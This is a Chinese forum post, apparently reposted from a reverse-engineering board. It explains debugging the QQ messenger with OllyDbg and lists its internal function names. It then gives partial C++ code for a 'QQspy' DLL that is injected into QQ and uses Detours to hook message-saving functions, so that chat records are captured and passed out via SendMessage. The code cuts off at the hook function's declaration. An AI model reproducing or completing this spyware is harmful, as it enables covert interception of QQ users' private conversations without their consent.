大家先对QQ采用ollydbg调试QQ,
分析出相关QQ内部函数 //?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z //?GetSelfUin@Contact@Util@@YAKXZ //?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z //?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z //?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z //?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z //?GetSelfUin@Contact@Util@@YAKXZ 然后我们写一个DLL来注射到QQ内部,调用QQ相关函数,获取相关QQ聊天记录信息,然后将QQ聊天记录用sendmessage发送出来。 DLL代码如下
代码:
#include "stdafx.h" #include "QQspy.h" #include "detours.h" #pragma comment (lib, "detours.lib") #include <set> #include <shlwapi.h> #pragma comment (lib, "shlwapi.lib") #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif // // Note! // // If this DLL is dynamically linked against the MFC // DLLs, any functions exported from this DLL which // call into MFC must have the AFX_MANAGE_STATE macro // added at the very beginning of the function. // // For example: // // extern "C" BOOL PASCAL EXPORT ExportedFunction() // { // AFX_MANAGE_STATE(AfxGetStaticModuleState()); // // normal function body here // } // // It is very important that this macro appear in each // function, prior to any calls into MFC. This means that // it must appear as the first statement within the // function, even before any object variable declarations // as their constructors may generate calls into the MFC // DLL. // // Please see MFC Technical Notes 33 and 58 for additional // details. // ///////////////////////////////////////////////////////////////////////////// // CQQMonApp BEGIN_MESSAGE_MAP(CQQMonApp, CWinApp) //{ {AFX_MSG_MAP(CQQMonApp) // NOTE - the ClassWizard will add and remove mapping macros here. // DO NOT EDIT what you see in these blocks of generated code! //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CQQMonApp construction CQQMonApp::CQQMonApp() { // TODO: add construction code here, // Place all significant initialization in InitInstance } ///////////////////////////////////////////////////////////////////////////// // The one and only CQQMonApp object CQQMonApp theApp; // 定义函数类型 typedef BOOL (__cdecl *M_SaveMsg_1)(LPCWSTR lpStr, DWORD dTo_Num, DWORD dFrom_Num, DWORD dTo_Num_2, struct ITXMsgPack * TXMsgPack, struct ITXData* TXData); typedef BOOL (__cdecl *M_SaveMsg_2)(wchar_t *group, wchar_t *un_1, wchar_t *username, wchar_t *un_1_, int num_1, int num_2, struct ITXMsgPack * TXMsgPack, struct ITXData* TXData); //?GetMsgTime@Msg@Util@@YA_JPAUITXMsgPack@@@Z typedef int (__cdecl *M_GetMsgTime)(struct ITXMsgPack *TXMsgPack); //?GetSelfUin@Contact@Util@@YAKXZ typedef long (__cdecl *M_GetSelfUin)(void); // typedef PVOID (__cdecl *M_GetPublicName)(LPWSTR *lpBuffer, DWORD dQQNum); //?GetGroupName@Group@Util@@YA?AVCTXStringW@@K@Z typedef PVOID (__cdecl *M_GetGroupName)(LPWSTR *lpBuffer, DWORD dGroupNum); //?GetDiscussName@Group@Util@@YA?AVCTXStringW@@K@Z typedef PVOID (__cdecl *M_GetDiscussName)(LPWSTR *lpBuffer, DWORD dGroupNum); //?GetGroupMemLongNickname@Group@Util@@YAHKKAAVCTXStringW@@@Z typedef int (__cdecl *M_GetGroupMemLongNickname)(unsigned long,unsigned long,CString &); //?GetGroupMemShowName@Group@Util@@YA?AVCTXStringW@@KK@Z typedef PVOID (__cdecl *M_GetGroupMemShowName)(ULONG,ULONG); //?GetSelfUin@Contact@Util@@YAKXZ typedef long (__cdecl *M_GetSelfUin)(void); // typedef PVOID (__cdecl *M_GetMsgAbstract)(PVOID lpPar_1, struct ITXMsgPack * TXMsgPack); // 定义函数指针 M_SaveMsg_1 OldSaveMsg_1 = NULL; M_SaveMsg_2 OldSaveMsg_2 = NULL; M_SaveMsg_1 TrueSaveMsg_1 = NULL; M_SaveMsg_2 TrueSaveMsg_2 = NULL; M_GetMsgAbstract TrueGetMsgAbstract = NULL; M_GetMsgTime TrueGetMsgTime = NULL; M_GetGroupName TrueGetGroupName = NULL; M_GetDiscussName TrueGetDiscussName = NULL; M_GetPublicName TrueGetPublicName = NULL; M_GetSelfUin TrueGetSelfUin = NULL; M_GetSelfUin OldGetSelfUin = NULL; M_GetGroupMemLongNickname TrueGetGroupMemLongNickname = NULL; M_GetGroupMemShowName TrueGetGroupMemShowName = NULL; // 定义HOOK函数 BOOL __cdecl NewSaveMsg_1(LPCWSTR lpStr, DWORD dTo_Num, DWORD dFrom_Num, DWORD dTo_Num_2, struct ITXMsgPack * TXMsg |
转:http://bbs.pediy.com/showthread.php?t=152085